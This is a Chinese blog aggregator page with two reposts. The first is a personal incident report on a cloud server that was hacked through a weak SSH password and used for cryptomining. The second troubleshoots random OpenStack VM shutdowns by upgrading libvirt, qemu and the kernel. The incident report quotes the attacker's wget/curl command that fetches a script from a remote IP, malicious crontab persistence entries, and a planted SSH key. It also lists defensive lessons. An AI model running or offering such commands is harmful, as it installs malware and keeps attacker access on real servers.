首页 文章 精选 留言 我的

精选列表

搜索[主机],共10000篇文章
优秀的个人博客,低调大师

记录一次云主机被攻击挂恶意代码挖矿的事件

由于ECS使用了有规律的弱密码被SSH暴力破解(非22端口) 阿里云提示被入侵且执行了恶意代码,安全中心可处理。 相关资料: https://bbs.pediy.com/thread-251753.htm https://zhuanlan.zhihu.com/p/111351235 但至第二天凌晨时,依旧报警。 父进程路径:/usr/bin/perl 父进程命令行:rsync 父进程id:12354 进程id:12355 用户名:root URL链接:http://45.55.129.23/tddwrt7s.sh 进程路径:/usr/bin/bash 命令行参数:sh -c wget -q http://45.55.129.23/tddwrt7s.sh || curl -s -O -f http://45.55.129.23/tddwrt7s.sh 2>&1 3>&1 与该URL有关联的漏洞:None 事件说明:云盾检测到您的服务器正在尝试访问一个可疑恶意下载源,可能是黑客通过指令从远程服务器下载恶意文件,危害服务器安全。如果该指令不是您自己运行,请及时排查入侵原因,例如查看本机的计划任务、发起对外连接的父子进程。 解决方案:请及时排查告警中提示的恶意URL,以及所下载的目录下的恶意文件,并及时清理已运行的恶意进程。如果该指令是您自己主动执行的,您可以在控制台点击标记为误报。 ------------------------------------ 后排查rsync进程目录下有可疑目录,进行了清除。 lrwxrwxrwx 1 root root 0 Mar 19 01:36 cwd -> /dev/shm/.tddddddddd 继续排查了定时计划 [root@izbp168lretu4toy79p12kz ~]# crontab -l * */2 * * * /root/.bashtemprc/a/upd>/dev/null 2>&1 @reboot /root/.bashtemprc/a/upd>/dev/null 2>&1 5 8 * * 0 /root/.bashtemprc/b/sync>/dev/null 2>&1 @reboot /root/.bashtemprc/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X19-unix/.rsync/c/aptitude>/dev/null 2>&1 依旧存在可疑目录,删除 后续发现在/root/.ssh目录中中被植入了黑客的公钥文件authorized_keys, 可以被免密码登录SSH了。。。 -------------------- 吸取些教训: 1.切不可用有规律的密码 2.定期检查系统定时任务是否有可疑的任务 3.定期检查/root/.ssh是否被替换了可疑的公钥

优秀的个人博客,低调大师

openstack 云主机关机:ournal: End of file while reading data: Input/output e...

问题现象描述: 某个集群环境每天出现一台机器关机现象,随机发生,经过排查解决问题,为大家提供方便 环境: 集群环境:openstack + ceph 融合集群,版本:Mitaka+jewel 网络环境:网卡10G+bond0(主备模式) 版 本:centos7.3 message 错误日志: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Aug3016:45:14lxx-4-5journal:internalerror:Endof file frommonitor Aug3016:45:14lxx-4-5avahi-daemon[2412]:Withdrawingaddressrecord for fe80::fc16:3eff:fef3:5076onvnet5. Aug3016:45:14lxx-4-5kernel:vlan206:port3(vnet5)entereddisabledstate Aug3016:45:14lxx-4-5kvm:10guestsnowactive Aug3016:45:14lxx-4-5avahi-daemon[2412]:Withdrawingworkstationservice for vnet5. Aug3016:45:14lxx-4-5kernel:devicevnet5leftpromiscuousmode Aug3016:45:14lxx-4-5kernel:vlan206:port3(vnet5)entereddisabledstate Aug3016:45:14lxx-4-5systemd:autolog.serviceholdoff time over,schedulingrestart. Aug3016:45:14lxx-4-5systemd:StartedAutolog. Aug3016:45:14lxx-4-5systemd:StartingAutolog... Aug3016:45:14lxx-4-5systemd-machined:Machineqemu-22-instance-000002c9terminated. Aug3016:45:14lxx-4-5autolog:Don'thavemasterprocess. Aug3016:45:15l22-4-5journal:Endof file while readingdata:Input /output error Aug3016:45:15lxx-4-5systemd:autolog.serviceholdoff time over,schedulingrestart. Aug3016:45:15lxx-4-5systemd:StartedAutolog. Aug3016:45:15lxx-4-5systemd:StartingAutolog... Aug3016:45:15lxx-4-5autolog:Don'thavemasterprocess. Aug3016:45:15lxx-4-5systemd:autolog.serviceholdoff time over,schedulingrestart. Aug3016:45:15lxx-4-5systemd:StartedAutolog. Aug3016:45:15lxx-4-5systemd:StartingAutolog... openstack-compute 关键日志: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 2017 - 08 - 30 16 : 45 : 20.952 110867 DEBUGnova.compute.manager[req-0602316d-944c-42b4-9d3c-7d1b0e513765-----][instance:26f48b2e-f648-42e2- 8133 -7ebc060fd7ae]Updatedthenetworkinfo_cache for instance_heal_instance_info_cache/usr/lib/python2. 7 /site-packages/nova/compute/manager.py: 5803 2017 - 08 - 30 16 : 45 : 30.033 110867 DEBUGnova.virt.driver[-]Emittingevent<LifecycleEvent: 1504082715.03 ,08330b10-f106- 4737 -b9db-0e45c84abb2e=>Stopped>emit_event/usr/lib/python2. 7 /site-packages/nova/virt/driver.py: 1443 2017 - 08 - 30 16 : 45 : 30.034 110867 INFOnova.compute.manager[-][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]VMStopped(LifecycleEvent) 2017 - 08 - 30 16 : 45 : 30.076 110867 DEBUGnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Checkingstate_get_power_state/usr/lib/python2. 7 /site-packages/nova/compute/manager.py: 1347 2017 - 08 - 30 16 : 45 : 30.079 110867 DEBUGnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Synchronizinginstancepowerstateafterlifecycleevent "Stopped" ;currentvm_state:active,currenttask_state:None,currentDBpower_state: 1 ,VMpower_state: 4 handle_lifecycle_event/usr/lib/python2. 7 /site-packages/nova/compute/manager.py: 1276 2017 - 08 - 30 16 : 45 : 30.119 110867 INFOnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]During_sync_instance_power_statetheDBpower_state( 1 )doesnotmatchthevm_power_statefromthehypervisor( 4 ).Updatingpower_state in theDBtomatchthehypervisor. 2017 - 08 - 30 16 : 45 : 30.177 110867 WARNINGnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Instanceshutdownbyitself.CallingthestopAPI.Currentvm_state:active,currenttask_state:None,originalDBpower_state: 1 ,currentVMpower_state: 4 2017 - 08 - 30 16 : 45 : 30.178 110867 DEBUGnova.compute.api[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Goingto try tostopinstanceforce_stop/usr/lib/python2. 7 /site-packages/nova/compute/api.py: 1954 2017 - 08 - 30 16 : 45 : 30.267 110867 DEBUGoslo_concurrency.lockutils[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----]Lock "08330b10-f106-4737-b9db-0e45c84abb2e" acquiredby "nova.compute.manager.do_stop_instance" ::waited 0 .000sinner/usr/lib/python2. 7 /site-packages/oslo_concurrency/lockutils.py: 270 2017 - 08 - 30 16 : 45 : 30.268 110867 DEBUGnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Checkingstate_get_power_state/usr/lib/python2. 7 /site-packages/nova/compute/manager.py: 1347 2017 - 08 - 30 16 : 45 : 30.270 110867 DEBUGnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Stoppinginstance;currentvm_state:active,currenttask_state:powering-off,currentDBpower_state: 4 ,currentVMpower_state: 4 do_stop_instance/usr/lib/python2. 7 /site-packages/nova/compute/manager.py: 2545 2017 - 08 - 30 16 : 45 : 30.270 110867 INFOnova.compute.manager[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Instance is alreadypoweredoff in thehypervisorwhenstop is called. 2017 - 08 - 30 16 : 45 : 30.271 110867 DEBUGnova.objects.instance[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----]Lazy-loading 'metadata' onInstanceuuid08330b10-f106- 4737 -b9db-0e45c84abb2eobj_load_attr/usr/lib/python2. 7 /site-packages/nova/objects/instance.py: 895 2017 - 08 - 30 16 : 45 : 30.314 110867 INFOnova.virt.libvirt.driver[req-5998b542-495c-41f2- 8010 -7f1c426f0127-----][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Instancealreadyshutdown. 2017 - 08 - 30 16 : 45 : 30.318 110867 INFOnova.virt.libvirt.driver[-][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]Instancedestroyedsuccessfully. 关键日志: 1 2 3 message:Aug 30 16 : 45 : 15 l22- 4 - 5 journal:Endoffile while readingdata:Input/outputerror Openstack-compute: 2017 - 08 - 30 16 : 45 : 30.034 110867 INFOnova.compute.manager[-][instance:08330b10-f106- 4737 -b9db-0e45c84abb2e]VMStopped(LifecycleEvent) 解决办法: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 升级libvirt版本: libvirt-daemon-driver-secret- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-lxc- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-driver-lxc- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-python- 2.0 . 0 - 2 .el7.x86_64 libvirt-daemon- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-lock-sanlock- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-driver-storage- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-gobject- 0.2 . 3 - 1 .el7.x86_64 libvirt-nss- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-driver-nwfilter- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-gconfig- 0.2 . 3 - 1 .el7.x86_64 libvirt-snmp- 0.0 . 3 - 5 .el7.x86_64 libvirt-daemon-driver-nodedev- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-glib-devel- 0.2 . 3 - 1 .el7.x86_64 libvirt-gobject-devel- 0.2 . 3 - 1 .el7.x86_64 libvirt-java-javadoc- 0.4 . 9 - 4 .el7.noarch libvirt-daemon-driver-qemu- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-kvm- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-gconfig-devel- 0.2 . 3 - 1 .el7.x86_64 libvirt-login-shell- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-client- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-driver- interface - 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-devel- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-cim- 0.6 . 3 - 19 .el7.x86_64 libvirt-glib- 0.2 . 3 - 1 .el7.x86_64 libvirt-java-devel- 0.4 . 9 - 4 .el7.noarch libvirt-daemon-driver-network- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-docs- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-config-nwfilter- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-daemon-config-network- 2.0 . 0 - 10 .el7_3. 9 .x86_64 libvirt-java- 0.4 . 9 - 4 .el7.noarch 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 升级qemu版本 qemu-system-lm32- 2.0 . 0 - 1 .el7. 6 .x86_64 ipxe-roms-qemu- 20160127 - 5 .git6366fa7a.el7.noarch qemu-system-cris- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-x86- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-kvm-tools- 1.5 . 3 - 126 .el7_3. 10 .x86_64 qemu-system-xtensa- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-arm- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-s390x- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-sh4- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-kvm-common- 1.5 . 3 - 126 .el7_3. 10 .x86_64 qemu-user- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-unicore32- 2.0 . 0 - 1 .el7. 6 .x86_64 libvirt-daemon-driver-qemu- 2.0 . 0 - 10 .el7_3. 9 .x86_64 qemu-guest-agent- 2.5 . 0 - 3 .el7.x86_64 qemu-common- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-or32- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-kvm- 1.5 . 3 - 126 .el7_3. 10 .x86_64 qemu-system-moxie- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-img- 1.5 . 3 - 126 .el7_3. 10 .x86_64 qemu-system-m68k- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-alpha- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-microblaze- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu-system-mips- 2.0 . 0 - 1 .el7. 6 .x86_64 qemu- 2.0 . 0 - 1 .el7. 6 .x86_64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 升级kernel [root@~]#rpm-qa|grepkernel kernel- 3.10 . 0 - 514.26 . 2 .el7.x86_64 kernel-tools-libs- 3.10 . 0 - 514.26 . 2 .el7.x86_64 kernel-devel- 3.10 . 0 - 327.36 . 3 .el7.x86_64 kernel-tools- 3.10 . 0 - 514.26 . 2 .el7.x86_64 kernel-devel- 3.10 . 0 - 123 .el7.x86_64 kernel- 3.10 . 0 - 327.36 . 3 .el7.x86_64 abrt-addon-kerneloops- 2.1 . 11 - 45 .el7.centos.x86_64 kernel- 3.10 . 0 - 514.2 . 2 .el7.x86_64 kernel- 3.10 . 0 - 123 .el7.x86_64 kernel- 3.10 . 0 - 327.22 . 2 .el7.x86_64 kernel-devel- 3.10 . 0 - 327.22 . 2 .el7.x86_64 kernel-devel- 3.10 . 0 - 514.26 . 2 .el7.x86_64 kernel-devel- 3.10 . 0 - 514.2 . 2 .el7.x86_64 kernel-headers- 3.10 . 0 - 514.26 . 2 .el7.x86_64 [root@~]#uname-r 3.10 . 0 - 514.26 . 2 .el7.x86_64 注意:升级版本之后一定要重启,才能成功,重启服务无效!!! 本文转自 swq499809608 51CTO博客,原文链接:http://blog.51cto.com/swq499809608/1962081

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册
修改密码
忘记密码